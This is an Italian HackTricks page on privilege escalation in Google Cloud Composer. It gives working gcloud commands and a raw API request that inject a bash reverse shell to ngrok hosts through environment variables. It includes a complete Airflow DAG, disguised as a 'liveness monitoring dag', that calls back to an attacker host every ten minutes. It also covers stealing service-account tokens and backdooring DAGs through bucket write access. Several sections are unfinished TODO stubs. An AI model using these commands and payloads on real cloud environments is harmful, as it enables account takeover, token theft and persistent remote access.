GCP - Composer Privesc

Support HackTricks

composer

Ulteriori informazioni in:

GCP - Composer Enum

composer.environments.create

È possibile allegare qualsiasi account di servizio al nuovo ambiente composer creato con quel permesso. Successivamente, potresti eseguire codice all'interno di composer per rubare il token dell'account di servizio.

gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"

Maggiore informazione sull'exploitation qui.

composer.environments.update

È possibile aggiornare l'ambiente composer, ad esempio, modificando le variabili d'ambiente:

# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}

TODO: Ottieni RCE aggiungendo nuovi pacchetti pypi all'ambiente

Scarica Dags

Controlla il codice sorgente dei dags in esecuzione:

mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Importa Dags

Aggiungi il codice DAG python in un file e importalo eseguendo:

# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py

DAG di reverse shell:

reverse_shell.py
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
from datetime import timedelta

default_args = {
'start_date': airflow.utils.dates.days_ago(0),
'retries': 1,
'retry_delay': timedelta(minutes=5)
}

dag = DAG(
'reverse_shell',
default_args=default_args,
description='liveness monitoring dag',
schedule_interval='*/10 * * * *',
max_active_runs=1,
catchup=False,
dagrun_timeout=timedelta(minutes=10),
)

# priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator(
task_id='bash_rev',
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
dag=dag,
depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)

Accesso in scrittura al bucket di Composer

Tutti i componenti di un ambiente composer (DAG, plugin e dati) sono memorizzati all'interno di un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, potrebbe monitorare il bucket e ogni volta che un DAG viene creato o aggiornato, inviare una versione con backdoor in modo che l'ambiente composer ottenga dalla memorizzazione la versione con backdoor.

Ottieni maggiori informazioni su questo attacco in:

GCP - Storage Privesc

Importa Plugin

TODO: Controlla cosa è possibile compromettere caricando plugin

Importa Dati

TODO: Controlla cosa è possibile compromettere caricando dati

Supporta HackTricks

Last updated